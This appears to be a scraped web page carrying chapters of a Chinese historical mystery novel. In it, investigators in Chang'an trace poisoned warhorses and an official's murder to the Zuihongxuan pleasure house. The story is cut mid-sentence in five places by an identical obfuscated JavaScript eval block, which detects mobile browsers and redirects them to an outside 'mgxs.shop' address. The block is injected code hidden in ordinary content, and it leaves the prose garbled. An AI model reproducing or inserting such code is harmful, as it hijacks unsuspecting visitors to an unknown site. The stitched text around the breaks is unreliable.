“既然你执意要本官严查，便给我一个足够信服的理由。战马本就是边境常备军需，营中向来储备充足，此次虽有战马离奇暴毙，死因蹊跷，可终究不过死伤数十匹，于大局而言，实在算不上什么值得大动干戈的要事。” 仅凭一缕相似的问荆草气息，便要让面前身居高位，行事严谨的高官彻查此事，实在太过牵强。 许庐见少女垂眸不语，便不再多问，只轻轻抬了抬手，示意身旁的折戟将云氏好生护送回院落。 他收回目光，正欲转身离去处理公务。 忽觉袖子仿佛被何人拉住，骤然一沉，因而他回眸看去，便直直撞进少女一双执拗的杏眸之中。 “大人，我想起来了，是桃花醉！是醉红轩的桃花醉！” 她几乎是下意识地往前凑近了半步，急切地想要将这关键线索告知给许庐。 因这豁然开朗的窃喜，少女微微泛红的脸颊骤然贴近，鬓边几缕碎发随着动作轻扬，她身上淡淡的浅香措不及防撞进许庐的鼻息间。 许庐心头莫名掠过一丝异样，像是平静湖面因为有风拂过从而漾开一圈极淡的涟漪。他尚未来得及细辨那情绪究竟是不是讶异，那涟漪便散尽了。 “早日我与谢大人一同前往醉红轩探查，醉红轩的杂役小吏见谢大人是高官，所以为谢大人献上了醉红轩的桃花醉” 霓安语速虽急，却一字一句说得明明白白。 “桃花醉这酒，虽说各处风月楼馆都有酿造，可醉红轩能凭它稳坐勾栏瓦舍之首，因而醉红轩的桃花酿绝非寻常滋味。 它入口前调绵长甜软，桃香清润，可入喉之后尾调不散，偏偏裹着一股极淡却清冽的草药香。当时这股异香混在酒香里，我只觉古怪，一时没能辨出是何物。” 霓安顿了顿，目光亮了几分。 “直到今日在这批草料之中，又闻到那草药的气息，我将草料分门别类后便看到那切断的问荆草残骸，所以这才想起来那味草药是问荆草。” “这只是民女一时拙见，未必作准，还望大人莫要见笑。” “但说无妨，只是本官觉得其中尚有几处疑点，始终理不清头绪。” 许庐语气平和，垂眸抬手，骨节分明手指轻轻拨弄着一枚白子，衬得那瓷白棋子温润通透，竟如同一块品相上乘的暖玉一般，触手生温。 “民女也是满心疑惑，醉红轩素来要以问荆草入酒，方能酿出独有的风味，可这问荆草生性喜湿耐寒，中原地界水土不合，压根无处可寻，更别说在市面上随意买卖。 这问荆草唯有西域偏地才有生长，要想让其转入长安必得经官府勘验。若是私下偷运，便是触犯律法，一旦事发，轻则罚没家产，重则身陷囹圄。 可这般冒着偌大风险偷运入关的问荆草，按理来说应该偷运入城，可这时竟用其毒杀了十来匹战马，虽说并未伤及将官，也未搅扰军机大事，可着实暴露了问荆草偷运的踪迹。如此得不偿失的行径，实在叫人摸不透。” 许庐若有所思，随即在纵横交错的十字棋盘上稳稳落下一子。 落子之声清脆悦耳，那批最先锋芒毕露的黑子，此刻孤零零悬在一侧，分明已是枚可随时舍弃的废子。 许庐望着棋局，嘴角勾起一抹浅浅的笑意，缓缓开口， “或许那位藏在幕后之人，便是想以此事提醒有心之人啊。” 提醒有心之人吗，她对大人物打哑谜之类的说话方法向来费解。 她抬眼望向许庐，许庐嘴角勾起一抹了然的微笑，因而便也识趣地不再多问，乖觉地敛了神色。 她轻轻福身一礼， “臣女告退了，大人早些歇息。” 霓安本以为对方不会再多言，便准备轻手轻脚退出去。 “你也早些歇息。” 她心里莫名一暖，随即轻轻合上房门，悄声退了出去。 * “刘大人，不好了！刘大人！” 小吏连滚带爬地撞进殿来，才刚踏进门内，脚下一绊，整个人便重重摔倒在光洁的青砖地上。 刘家世代执掌钦天监，祖上数代精研天象历法，素来深得皇室倚重，在朝中地位尊崇，连府中殿宇的门槛都比寻常门槛高出几分。 平日里府中人进出无不屏息凝神，小心翼翼的跨步。 今日这小吏显然是事出紧急，脚下失了分寸，才结结实实摔了一跤。 殿内身高五尺，身形圆胖的钦天监监正刘子枝正斜倚在铺着锦垫的太师椅上，一身厚实华贵的裘皮大衣裹得严严实实。 身旁美妾举起玉壶为其斟上一瓶温热的佳酿，酒香清冽，令人闻之即醉。 刘子枝本是悠然自得的在闭目养神，骤然听见喧哗，睁眼便见小吏跌倒在殿中，举止失仪。 他素来讲究规矩体面，因而见此狼狈景象，厉声呵斥道， “放肆！成何体统！” “大人，冤枉啊！” 小吏顾不上拍身上的土，连滚带爬扑到阶下，“是大理寺的谢齐渊，他把矛头对准咱们监里了！” 刘子枝手中玉杯顿时停在半空。于是便他挥手屏退美妾， “那谢大人为何会查到我头上来？” “听说前几日横死的那位五品武官，凶手竟是前日在醉红轩赴宴的座上宾。” 刘子枝松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484533|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了松领口，不以为然， “人非我所杀，与我何干？” “大人！”小吏急得额头撞地，声音陡然拔高，“谢齐渊查案如神，最善抽丝剥茧。他若顺着宴席查起，顺藤摸瓜，万一把那件见不得光的事彻底翻出来，咱们满门都要遭殃啊！” 刘子枝脸上的淡然终于绷不住，指尖死死扣住了杯沿。 “若他谢齐渊若是执意查到底，那就休怪我让他有来无回！” 话音未落，他掌心狠狠一拍，玉盏重重砸在桌案上，杯中酒液剧烈震荡，险些泼洒出来。 * 次日清晨，谢齐渊府上便遣了青禾前来传话，说今日不必再外出探查，让霓安暂且歇着，不必过去。 可依霓安执拗又不肯半途而废的性子，哪肯任由事情只做一半便草草作罢。她眼珠一转，对着青禾俏皮地眨了眨眼。 “青禾姊姊，你今日府中还有别的差事吗？” 青禾略一思索，轻声回道，“除了寻常洒扫庭院，并无其他要紧事。” “那青禾姊姊可有兴趣，随我去一处四季花开、神仙见了都流连忘返的妙地逛逛？” 青禾一听，眼睛顿时亮了，“世间竟还有这般神奇的好去处？” 霓安故作玄虚地眨了眨眼，脸上分明挂着些狡黠的笑意，她转身快步走到屋角那只雕花木制的衣帽箱旁，指尖轻巧地拨开叠放整齐的绸缎衣物，取出一顶素色帷帽，轻轻扣在青禾的头顶，垂落的薄纱恰好将其的面容半遮半掩。 随后她取来脂粉，对着菱花镜细细描画，先是将原本纤细柔婉的罥烟眉刻意描得利落，又在鼻梁与下颌处轻轻打上浅浅的阴影，让本就清秀的五官愈发立体深邃。 做完这一切，她又转身走向内柜，翻出一件用织金绣线绣出祥云纹样的男子衣衫。 接而她退后两步，细细打量着面前的青禾，目光在帷帽下那身素色衣裙上顿了顿，仍是觉得太过素净寡淡。 霓安当即又转身翻箱倒柜，将那几匹御赐料子精心裁制的冬衣一一取了出来，料子厚实纹样庄重。她将几件衣裳都摊开在榻上，笑着朝青禾招手，让她挑一件合心意的换上。 青禾见她这般热情，反倒有些不好意思，脸颊微热地轻轻摆手推辞。 霓安自行挑了一件极有韵味的紫缎衣衫，拉着青禾便要她换上。待青禾穿戴妥当，霓安定睛一看，那紫色衬得她眉目温婉，仿佛是为她量身裁成一般。 眼见一切都收拾妥当，霓安抬手朝着立在院外等候的邹连招了招手。 邹连见状，忙不迭地躬身快步跟了上来，只顾着低头紧随其后，半点不曾留意身后那抹冬日里温婉的紫色身影。 “霓安妹妹，这袍子竟如此长，我怕袍角会沾上雪污，这可如何是好。” 耳畔本是风雪单调的呼啸，此刻却突然多出女子怯生生的提问声。邹连下意识侧身望过去，恰好一阵寒风卷过，掀起那人垂落的素色帷帽薄纱，露出一角素净清雅的小脸，眉眼温软。 14. 一颦一笑 眼前人算不得倾国倾城的惊艳，却生得干净柔和，竟让邹连无端想起了遥远年少时，家乡里那个总爱黏着他的邻家小妹。 “无妨，既然已经穿到姊姊身上，那便是姊姊的物件了，真要是沾了雪污，回头劳烦姊姊仔细洗洗便是。” 霓安语气轻快，说着还故作苦恼地叹了口气，“只是这数九寒天的，要搓洗这般厚重的锦袍，可真是要愁煞人了，姊姊可真是辛苦了。” 说罢，霓安抬眼便望向身侧的邹连，原是要开口问问他昨日潜入兵部探查内情可还顺利。 谁知头刚转过去，便见邹连愣在原地，视线落在一旁提着裙摆小心向前走的青禾身上。眉眼间漫开不自知的怔忪，全然没察觉霓安正望着他。 霓安瞧着这副模样，心头顿时了然。 她明明年岁比邹连还要小上些许，此刻却像个看透了儿女情长的过来人，老气横秋地弯了弯眼，暗自琢磨到，素来沉稳的邹大人，竟也有这般魂不守舍的时候。 霓安何等玲珑心思，见状便体贴地敛了眼底的笑意，垂眸避开视线，只拢了拢被寒风掀起的狐裘领。 待行过一程，她才放缓脚步，语气平和地开口， “邹大人，昨日谢寺正差你往兵部去查秦厉的人际关系，一路探查下来，可查到什么疑点吗？” 邹连闻言回过神，稍稍敛了神色， “倒算不上确凿疑点，只一桩反常之事，听兵部当值小吏们私下说起。秦厉大人最后一次入兵部，正是发现他尸身的三日前。” 他顿了顿，似在回想昨日探听来的细节， “秦厉双腿素来不便，常年靠朝廷恩俸养着，偶有差事也只草草应付，从不会多费心神。可那日不同，他进署后一反常态，竟正襟危坐，对着案上积压的文书逐一审阅，神色专注。” 说到此处，他看向霓安，一字一顿道 “更反常的是，审完文书后，他竟面露喜色，逢人便透着几分藏不住的得意，随口念叨着‘这回可要发大财了’之类的话，言语间满是志在必得，与往日颓态判若两人。” 只言片语里也能听出，此等哗众取宠挣钱的法子并不是秦厉想到的，大抵是凶犯为了混淆视线从而怂恿秦厉。 罢了，虽然没有什么有用的线索，不过至少排除了兵部熟人作案的可能。 三人很快行至醉红轩门前，说实话霓安自从来到这长安城以来，除了日常在外廷的兵部待着，第二常去的地方便是这醉红轩，这样说来，倒显得她像个留恋风月的公子哥，不过实在是因为风月之地常常东窗事发，不然她一介女官也是在难以支出银钱去这销金窟。 还未迈进这醉红轩的大门，霓安就发现有些人装扮奇怪，头戴白羊毛织就的尖顶毡帽，身着赭石色的交领胡袍。 其女伴着装也与中原人大有不同，其头发多梳成双辫或多股细辫，辫梢系彩丝绳，缀细碎玛瑙，垂在肩背间，上衣多为窄袖短襦，衣色偏爱靛蓝草绿等浓艳色调，下着竖条纹长裙。 虽说自那桃花醉里所用的问荆草药便能推断出醉红轩与西域人有些许牵扯，不过这样一看果真如此，因而霓安目光一直紧追着那几位西域人，不敢放松。 几人并未多做停留，便由一个垂手躬身的青衣小吏毕恭毕敬引着，踏上了木阶，往二楼雅间行去。 那小吏不敢有半分怠慢，一边引着路，一边低声说着熟稔的客套话，将这群西域人送进了临窗最上等的一间雅室，推门时还特意用袖摆拂了拂门框上并不存在的浮尘。 霓安立在堂中，将方才那群胡人被引上二楼的一幕尽收眼底，随即缓缓转过身去。 她身后那名小吏正垂着双手，目光灼灼地落在霓安身上那匹御赐锦缎上，眼底满是艳羡——那锦缎的织金暗纹在廊间微光下显得流光溢彩，一看就非凡品，小吏看得入神，连霓安转身都未曾立刻察觉。 待回过神来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484534|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他慌忙敛了神色，姿态愈发恭谨。霓安目光淡淡扫过他，缓缓开口道 “劳烦小哥，那二楼雅间还有余否，我要了。” 那小吏面露难色，但目光在霓安三人华贵衣着上流转，终究还是松了口， “您几位这边请！” 二楼的布局与寻常勾栏酒肆那般杂乱无章不同，而是按照来人的贫富差距大抵分为两类。 霓安看着这装潢排布，心中已然对这醉红轩的客舍分类摸出了几分门道。 上次借谢大人的光落坐到了上房里，那几间上房朝阳可以看到醉红轩的繁华街景，而其门檐垂着织金流苏帘，门槛皆是用上好硬木打造。 而方才那几位衣着极具异域特色的西域人，竟然能径直走入二楼规制最高的上房。 按醉红轩的规矩，这几间临街上房门槛极高，向来只为京中最顶级的达官显贵预留，等闲富商豪贾纵然掷下千金，也未必能求得一席之地。 寻常商贾尚且被拒之门外，这几位西域人却能被恭恭敬敬引至上房落座，这其中定然有蹊跷。 次一等的便是散落于里侧的普通雅间，虽不像上房那般极致奢华，却也收拾得雅致素净。 这小吏看他们衣着华贵，却从来没在长安城中听过他们的名讳，因而反复思索后，不知其真实身份的小吏将其安排到了普通雅间里。 霓安心思全然沉浸在这醉红轩雅间的排布之中，半点未留意身侧的青禾神色大变。 青禾呆在原地，一双秀气的眸子睁得溜圆， 她听见着周遭隐约传来的丝竹靡音夹杂着纱帘后若有若无的笑语，脑子不适时的想起霓安路上那句“此间景致别致，便是神仙也要流连忘返”， 只觉一股热气冲上脸颊，又羞又气，忍不住压低了声音，带着些许嗔怪的意味开口， “霓安妹妹！你说的那处连神仙都流连忘返的好地方，原来竟是这等风月销金窟！” 15. 莞莞类卿 霓安脸颊微微发烫，眼睫轻垂，掩饰性的抬手拢了拢鬓边微乱的发丝，看着青禾姊姊直直的看向自己便露出一抹不好意思的微笑。 她张了张唇，还没来得及出声解释半句，身侧的邹连已率先上前一步。 他身姿高大挺拔，浓眉朗目，眉眼间自有一股英挺刚正的气度。 此刻却微微垂着眼，规规矩矩地对着青禾深深行了一礼，语气谦和， “青禾姑娘莫怪，云姑娘也是一心为了查案行事仓促，并非有意唐突，还望姑娘多担待些。” 青禾抬眼望过去，恰撞进邹连垂落的目光里。明明是生得这般英武雄壮的汉子，此刻却透着纯良无害，那份郑重其事反倒显出憨直可爱来。 于是青禾唇角不自知的弯起一抹宽和的笑意，宽容般摆了摆手，语气不由的放温软了些， “罢了罢了，我本就不是教条之人。既然云妹妹是为了查案公事，那也是在情理之中，无需多言。” 随即三人缓步入内，在雅间里依次坐定。霓安抬眼一瞧，恰好从窗棂间望见后街那座戏台的轮廓，隐约还能听见戏台上传来的丝竹弦响夹杂着穷苦百姓的叫好声。 她借着这片刻功夫，不动声色的在脑子里思索着刚才观察到的醉红轩的布局，醉红轩整座院落呈狭长方正之形，坐北朝南，正是最利于纳取天光的格局，白日里从早到晚都有充沛日光洒落。 楼上那些专供达官显贵消遣的上等雅间，尽数临街而建，正对着最是热闹繁华的主街，窗明几净，天光毫无遮挡地涌入。 而她们此刻所处的普通雅间，恰恰位于上等雅间的后方，因为醉红轩中间封顶，所以本应该透光的那一面被屋顶的砖瓦挡光，使得阳光落不进屋里来。 阳光照不进来，屋里空气自然带着浸骨的阴凉，比起前头那些暖意融融的上房，自然冷了不少。 霓安拢了拢衣襟，指尖触到茶几上沁人的凉意，便顺势以此撬开话茬， “这雅间也太阴冷了些，整日里不见半分天光，连丝暖意都透不进来，坐着都觉寒气往骨头缝里钻。方才我一路走来，分明瞧见前头那几间朝阳的上房都空着大半，并未坐满客人，为何偏引我们来这不见光的角落？莫不是小吏你眼明心亮，专挑人下菜碟，见我们衣着朴素，便怠慢了？” 小吏被霓安一语拆破心思，脸上顿时掠过些许慌乱，这几位贵客身着华丽，虽来路不明但也不敢怠慢，于是他连忙堆满谄媚讨好的笑， “大人这话可折煞小人了，是小人嘴笨没说清楚，大人可千万误会了！” 他往前凑了半步，小心翼翼陪着笑脸继续辩解，“虽说这普通雅间白日里瞧着是比前头上间寒凉几分，可只要点上银丝炭细细烧着，暖意慢慢透出来，屋里便和那些上等雅间没什么两样了。” “实不相瞒，那些能包下上间的达官显贵，有时反倒更偏爱咱们后头这些僻静雅间。毕竟前头紧挨着主街，人来人往眼杂，万一被那些清贫刻板的酸腐文官撞见，回头参上一本耽于声色的罪责，那可是有苦都说不出的祸事。反倒这后头清净，掩人耳目，图个安稳自在。” 话都说到这份上，霓安自然心领神会，顺势便借了台阶下，脸上一副体恤随和的模样开口， “既如此，在这雅间里坐着也好。那便给我们摆上一壶冬日里的桃花醉吧，许久未喝，倒是格外想念这一口清甜醇厚。” 小吏见贵客不再追究，心头悬着的大石总算落地，忙不迭躬身应下， “诶！小的这就去，定给大人备上窖藏最陈的桃花醉，温得恰到好处送来！” 待那小吏躬身退出去，脚青禾才抬手一把掀开头上碍事的帷帽。她长舒一口气，好奇地抬眼打量起这间僻静的雅间。 视线随意流转间，忽然一顿，牢牢落在案边的烛台上。那支红烛早已熄灭多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484535|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，烛芯余温散尽，只余下一截焦黑的蜡柱。 烛台周遭的桌面上，散落着星星点点的纸灰，像是方才有人在此焚烧过什么，纸屑燃尽后留下的余烬。 只是青禾微微蹙起眉，寻常纸张烧完，灰烬多是焦黄之色，可眼前这些余烬，却泛着异样的白，与普通纸灰截然不同。 青禾本想即刻唤霓安过来一同细看端倪，转头却见霓安早已将大半身子探出窗外，支着胳膊凝望着后街戏台的方向，半点未曾留意她这边的动静。 她便不再出声相唤，转而看向一旁端端正正坐在海棠鼓凳上的邹连。邹郎身姿挺拔，青禾抬手朝他轻轻招了招，指尖微勾，示意他近前来说话。 青禾指着桌面那片异样的白灰，压低了声音说道， “邹小郎你仔细来看，这桌上的灰烬绝不是寻常之物。” “这分明不是朝廷公文常用的桑皮纸，也不是市井百姓日常惯用的麻纸烧就。桑皮纸与麻纸纤维厚重，一旦焚尽，留下的灰烬皆是灰褐色。可你瞧这些，色白质轻，我一时竟也辨不出，究竟是何种纸张烧成的。” 邹连望着眼前眉眼清丽的青禾，只觉满心诧异。 往日里霓安在他面前，张口闭口皆是恭恭敬敬的“邹大人”。可眼前这张与记忆里的人生得莞莞类卿的脸庞，此刻却自然亲昵的唤他“邹小郎”。 他压下心头讶异，缓缓转过身，目光落向案上那摊白灰上。 继而用指尖小心翼翼挑起薄薄一抹灰烬，先凑到鼻下细细轻嗅，随即指尖轻轻摩挲，将那撮白灰细细捻开，粉末细腻无杂，在指腹间簌簌散落。 邹连抬眸，语气笃定的开口， “这是胡纸烧就的。胡纸质地远胜中原寻常麻纸，质地轻薄坚韧，燃尽后便会化作这般细腻偏白的粉末。昔日我在边关军营驻守时，曾数次截获西域胡人传递的密信战报，那些密信所用的，正是这种胡纸。” 16. 胡纸苍术 霓安刚自窗棂前回身，便见青禾神色慌张，正朝她招手。 二人凑到一处，青禾低声将烛台旁发现胡纸余烬的事简略说罢，霓安好奇的捻起一点灰烬凑至鼻下细嗅，但她敏锐的在灰烬中辨出一缕清冽的苍术药香。 苍术最是特别，灼烧时几乎无烟，只散出醇厚的异香。她想起师傅医书所载，此物能除恶气、辟邪气、弭灾疹，正因这奇效，除夕端午焚烧苍术辟秽防疫，早已是流传已久的旧俗。 只是苍术另有一桩隐秘奇效——最能掩蔽尸臭。 霓安眼皮一跳，刚冒起的念头便立刻被死死按了下去。眼下万万不可当着邹连与青禾说破，否则这二人怕是连半刻都不敢在这屋里多待。 三人正围着那堆灰烬低声商议，忽然有人轻叩门扉。 小吏躬身而入，一手端着桃花醉，另一只手还捧着一册宾客登记簿。 原来寻常雅间需按房号登记姓名，楼上共一十五间普通雅间，规矩皆是如此。 霓安忆起，上次与谢齐渊大人同来，翻看的却不是这本。 于是她低头想了半分，恍然到，上次因为落座于上间，所以未看见此版也是情理之中，当时看见的那版应该就是上间的登记册。 登记簿上，过往宾客的信息历历在册。 小吏恭恭敬敬地将册子翻到需要登记的地方，正要请几人登记。霓安目光无意间一扫，视线骤然凝住——那页登记册上，赫然写着秦厉的名字。 她眼睫猛得一颤，秦厉身死之前，竟也来过这间雅间，与她此刻落座的，说不定是同一处。 “秦厉与其随行好友，我没记错的话，秦厉大人莫不是已经离奇身亡了，把我们几位引到着晦气地方，你是何居心！”霓安声音猛得拔高，一副咄咄逼人的样子。 霓安不理会小吏涕泗横流的跪地辩解，飞快朝青禾，邹连递了个眼色。二人立刻心领神会，上前厉声诘问以此借机缠住小吏，分散其注意力。 霓安飞快翻查登记册，发现从秦厉五日前最后一次来醉红轩，到其二日前尸首被发现的这三日里，仅有两人曾入此雅间。自命案事发后，这间屋子便再无宾客问津。 小吏见几人身着华服，气度不俗，却又面生得很，料定是外乡商贾，必不知秦厉遇害的凶案。 因而便半是糊弄，半是奉承，将人引到这间出过命案的雅间。谁知对方竟对案情一清二楚，若真是哪位权贵微服私访，自己这欺瞒之罪，怕是转眼就要掉脑袋。 霓安见小吏早已乱了阵脚，嘴里惶惶地念着阿弥陀佛，便趁势追问，“登记册上为何只写秦厉及其随行宾客，不写明各人真名讳？此时真出了事，登记不清，你们难辞其咎！” 小吏此刻一心只想脱身，压根没察觉霓安问话的蹊跷。寻常贵客发现被欺瞒，定是勃然大怒接而便拂袖而去，可眼前几人反倒揪着名册登记的疏漏追问不休。 他慌不择路于是便忙不迭和盘托，“有些贵客不愿显露真名，我们若执意追问登记，反倒像刻意盘问，扫了贵客雅兴，实在得不偿失。” 小吏见霓安神色未变，忙急急找补，“小的是醉红轩里除了女眷最与秦厉大人熟稔的了，因而秦厉大人与好友同来，我便不好追问，那日我记得真切，秦厉大人双腿不便，是同行那人费力将他抬上二楼。往常这类事向来是由小的代劳，只是秦厉大人欠账颇多，小的怕他又借机拖延，便索性由那人亲自抬了上去。” “那我再问你，”霓安语气平静的开口，“这红烛都燃尽了也不知更换，烛台旁的灰烬残粉也不清理，究竟是何故？” “红烛？小的实在不知！”小吏慌忙回话，“醉红轩早年确用红烛照明，近年早已尽数换成桐油灯。只因红烛原是大婚专用，寓意同心同德、百年好合，可往来的达官显贵寻欢时，素来轻贱风尘女子，不屑用这般象征良缘的红烛，掌事嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484536|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷便索性都换了。” “那你瞧瞧，这又是什么？” 霓安抬手将烛台推到小吏眼前，目光死死盯着他，倒要看看他还能如何辩解。 “小的实在不知！” 小吏连连磕头，额头一下下重重磕在地上，模样实在是诚恳。 如今已有两处实情确凿无疑，其一，秦厉五日前确曾来过醉红轩，其二，烛台旁烧尽的胡纸与苍术香灰，多半是凶犯留下的痕迹。 既然是凶犯刻意留下的痕迹，为何不彻底抹去？既连这些都未清理，这间雅间里说不定还藏着更多未曾察觉的破绽。 “那我问你，那日你上来可有何反常之处？” “要说反常……”小吏迟疑着开口，“那日亥时，是秦厉的同行之人戴着一顶黑色大帷帽前来结账。小的当时并未多想，只当寻常——毕竟秦厉大人账上本就欠着好几两银子，由旁人代为结清，也算情理之中。” “随后我上楼清扫，数九寒天的夜里，这屋窗竟大敞着，银丝炭火半点未燃，屋内还萦绕着一股若有若无，难以忽视的药香。” “药香……想来该是苍术了。” 霓安低声自语，复又翻起登记册，见秦厉尸体发现前那三日里，后续来过的两人皆是来去匆匆，在这间雅间待了不到一个时辰便离去了。 想必是沉迷于风月之事，这才没注意到这突兀的红烛。 “罢了，此事我便不再追究，你先退下吧。”霓安无奈的扶额，挥挥手示意小吏退下。 “小的感激不尽！”小吏脊背弯得像只虾米，小心翼翼躬身退下，唯恐霓安再继续追问。 小吏刚一合上门，青禾便见霓安立刻翻查起来，几乎将每处死角都细细搜过。最后，霓安的目光凝在桌腿那片斑驳痕迹上，脑中映出报告里的字句， “尸体体表可见明显外伤，衣衫浸染血迹，初步判断，生前曾遭人以钝器重击” 17. 月下谪仙 目光顺着雕花桌角扫过，才发现地面上星星点点的血迹早已干透。地板是深褐色实木，若不凑近细辨，这些暗褐色的血痕便会彻底隐没在木纹里，丝毫看不出异样。 如今看来，秦厉应当是在五日前就已遇害。凶手先将他约到这间雅间，行凶后，又把尸体埋回秦厉自家院落的冰雪之下，随后还假扮成秦厉的模样，到戏台上装模作样地唱了一出戏，再回到醉红轩的上间宴请宾客，这手法实在拙劣，形同儿戏。 霓安着实不明白凶犯怎么想的，说其心思缜密，知道要刻意掩盖死亡时间，可现场痕迹却草略处理，血迹仅草草擦拭，红烛极其燃尽产生的粉末之类的痕迹全然未作清理，破绽百出。 况且凶手本可选用更为隐秘周全的手段，譬如暗中下毒，减少死者挣扎时的毛发血液与外界的接触，令其悄无声息殒命，不是才是上上策吗？ 这样经过缜密布局却草草收场的大戏，让霓安心生错觉——此事由幕后之人布下全盘计划，只驱使手下有勇无谋之辈动手行事， 她不由暗自为那执行者捏了一把汗，若是幕后之人察觉执行者行事粗枝大叶导致漏洞百出的话，这枚失去用处的棋子，将会落得什么结局呢？ 顺着这个念头往下想，那行凶之人此刻恐怕早已……霓安心头一寒，连忙凝神回想，逐一排查可疑之人。 那日落座于上间宴请宾客的贵客一共有三位，一位是钦天监刘子枝，一位是原姓是娄现在改名为高的从西域迁入中原之人，最后一位是秦厉兵部同僚付明岚，若是非要说谁能接触到并使用胡纸的话，那就是那位高公子了。 霓安顺势拿起那支笔锋粗糙的宾客登记毛笔，在纸上匆匆落笔，草草写下数行字迹，随即嘱咐邹连将密笺送往谢大人府邸。 案情脉络已然大致清晰，可霓安心中仍对一些细节存疑。她始终不解，那人究竟如何在戏台一曲终了后掩人耳目，转瞬之间更换装束，悄无声息折返醉红轩继而安稳落座应酬宾客的。 她方才凭窗眺望，留意到戏台与醉红轩只隔一道矮墙。醉红轩为免雅间宾客望见戏台破败景致，因此扫了兴致，便沿着土墙遍植蔷薇月季，枝蔓交错，层层掩映。 长安腊月天寒，蔷薇早已枝叶凋零、只剩枯藤，唯有月季凌寒盛放。那人若翻越矮墙，必要穿行花丛之间，来不及换下的仿秦厉大人形制武官官袍定会被枯枝利刺勾扯从而破损，再沾染霜雪泥污。 只是立于醉红轩二楼远眺，视野受限，因此难辨全貌。若要彻查凶手行经之路，唯有亲身实地探查方可探明究竟。念及此处，霓安抬手轻拍掌心，一副跃跃欲试的样子。 “霓安妹妹，你这是要去往何处？” 青禾面色酡红，已然一脸醉意。霓安轻晃桌上所摆青瓷酒壶，只见壶内桃花醉所剩无几。 “妹妹快来尝尝这桃花醉，仿佛在冬日里也能品尝到桃花绽放的清甜，最后在嘴里弥漫出一抹草药清冽的香气，果真真名不虚传！” “青禾姊姊且慢坐小酌，我尚有要事外出一趟。你便安心留在此处歇息，切莫随意走动。”霓安如安抚孩童一般，轻轻拍了拍青禾的后背，心底终究放心不下醉酒的青禾一个人，因而又柔声细细叮嘱。 见青禾懵懂颔首应下，霓安这才转身缓步下楼，绕至醉红轩后院，在矮墙与连片花丛前缓缓驻足立定。 连日风雪积压，将月季花丛压得低矮不少。只因花簇本就长势茂密高大，纵使被大雪压弯，高度依旧堪堪及至霓安胸前。 月季花丛枝叶繁密交错，若是自戏台翻墙过来，势必得俯身匍匐穿行。霓安顺着矮墙缓步前行，果然瞧见临近戏台的几处花丛被人刻意拨开，花枝弯折凌乱。 霓安一心想钻入花丛深处，找寻凶手遗留的蛛丝马迹，未有半分迟疑，径直俯身钻了进去。 尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484537|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未钻出丛簇，霓安便发觉身形被繁花枝叶牢牢卡住。念及身上这身御赐织金外袍用料名贵，不由得满心惋惜，暗自心疼不已。 “云氏……你怎会落得这般狼狈之境？” 纵使霓安一身男装浓妆，困在花丛中狼狈不堪，可许庐依旧一眼便辨别出她清丽的眉眼。 这般说法其实并不妥当。许庐本就有些脸盲，难凭容貌识人，却偏偏擅辨气韵风骨。人海茫茫之中，他总能一眼记住旁人独有的神韵，而属于云霓安的，正是那份冰雪聪慧、骨子里又倔强不屈的独特气质。 霓安抬眸望去，正见许庐屈膝坐于矮墙之上。他身着一袭素白文官常袍，与周遭皑皑白雪相融一色，清逸出尘。 分明是凡尘中人，却宛如月下谪仙，风骨绝尘。 * 半时辰前，外廷兵部尚书府， 